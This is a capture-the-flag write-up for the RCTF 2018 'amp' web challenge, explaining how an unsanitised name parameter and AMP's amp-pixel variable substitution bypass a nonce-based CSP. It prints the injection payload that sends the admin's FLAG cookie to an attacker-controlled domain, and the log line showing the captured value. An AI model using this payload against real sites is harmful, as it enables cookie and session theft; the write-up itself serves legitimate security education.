## Challenge

We receive the following info:

```nohighlight  
Building the future web, together.

http://amp.2018.teamrois.cn  
```

After loading the page we are presented with:

![](https://upbhack.de/posts/rctf-2018-writeup-amp/landing.png)

Entering a name results in a notice of you being tracked:

![](https://upbhack.de/posts/rctf-2018-writeup-amp/you-are-tracked.png)

Generously the page allows us to request an end of tracking:

![](https://upbhack.de/posts/rctf-2018-writeup-amp/stop-tracking-request.png)

Additionally the page sets a cookie which gives us a hint about the place
where the flag lives:

![](https://upbhack.de/posts/rctf-2018-writeup-amp/cookie.png)

## Attack

Since the flag apparently is in the cookie of the admin, we need to steal that
cookie. The page seems to reflect values entered as the `?name=` parameter
back into the HTML of the page. Probably it will also include this HTML code
in the request which is sent to the admin.

Upon further analysis the page does not seem to perform any sanitization of
the user controlled parameter.  
Thus we can inject inject arbitrary HTML code.  
However, injecting scripts is prevented by the server setting a `Content-
Security-Policy`:

```nohighlight  
script-src 'nonce-2d09f4833b69e90fc34c4f8e3838c473' 'strict-dynamic'; style-
src 'unsafe-inline'  
```

The received HTML code then looks like:

```html  

Dear <script>alert('test')</script>:

  
<h1>YOU'RE BEING TRACKING</h1>

<script src="https://www.google.com/recaptcha/api.js"
nonce="2d09f4833b69e90fc34c4f8e3838c473"></script>  
<script nonce="2d09f4833b69e90fc34c4f8e3838c473">  
function onSubmit(token) {  
document.getElementById("form").submit()  
}  
</script>  
```

This means that the script tag is not executed since it needs to have a
`nonce=<nonce>` set where `<nonce>` matches the nonce of the response header
(which is changing on each response).  
While it is still be possible to load other javascript files by injecting
mismatching numbers of `"` characters which then can allow us to steal the
nonce of a following script tag this will only allow us to load arbitrary
script files and not embed script code right within the tags.  
Loading scripts from files from a different server might allow us to steal
nonces of other script tags and then inject code which gets access to
`document.cookie`, but all this is highly speculative on the structure of the
admin page. If that one does not use JavaScript at all, we are out of luck.

Thus, lets focus on the hint which is provided as HTML comment:

```html

```

The AMP Standard aims to provide blazing fast rendering of (mobile) pages. It
achieves this by loading the entire page in a single request and forbidding
use of (synchronous) javascript.  
However, most websites still depend on dynamic content and would not be
implementable without scripts or advertisers being able to track users.  
Thus the AMP *Standard* invents its own HTML tags in order to still be able to
provide such features without sacrificing speed.  
The following code will, for example, trigger a request for a pixel with a
random value as GET parameter:

```html  
<amp-pixel src="https://foo.com/pixel?RANDOM"></amp-pixel>  
```

Since this simple random value is not that useful for advertisers who care a
lot in order to provide us with ads we like there are more sophisticated
variable substitution techniques available in the [AMP
documentation](https://www.ampproject.org/docs/analytics/analytics_basics#variable-
substitution).

Notable here is the
[`clientId`](https://www.ampproject.org/docs/analytics/analytics_basics#user-
identification):

```html  
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-
fallback-name)"></amp-pixel>  
```

This will trigger a request for a tracking pixel which includes the AMP client
id. If that id does not exist the value of the cookie `site-user-id-cookie-
fallback-name` is used.

So if we can inject such an `<amp-pixel>` tag into the admin log view, we can
steal his cookie.

Thus we set our name to:  
```nohighlight  
?name=<amp-pixel src="https://<some domain we
control>/pixel?clientId=CLIENT_ID(FLAG)"></amp-pixel>  
```  
And request not to be logged.

The *admin* promptly seems to check the logs and we record a request against
our domain[1]:

```nohighlight  
[21/May/2018:06:41:08 -0400] "GET /pixel?clientId=RCTF%7BEl_PsY_CONGRO0_sg0%7D
HTTP/1.1" 404 3650 "http://amp.2018.teamrois.cn/?name=%3Camp-
pixel%20src=%22https://<some domain we
control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E?name=%3Camp-
pixel%20src=%22https://<some domain we
control>/pixel?clientId=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E" "Mozilla/5.0
(X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
HeadlessChrome/66.0.3359.117 Safari/537.36" "-"  
```

This leaves us with the flag: `RCTF{El_PsY_CONGRO0_sg0}`

\-----

[1]: Due to restrictions of loading external scripts the domain needs to serve
HTTPs content. But thanks to https://letsencrypt.org/ this should not be an
issue.  

Original writeup (https://upbhack.de/posts/rctf-2018-writeup-amp/).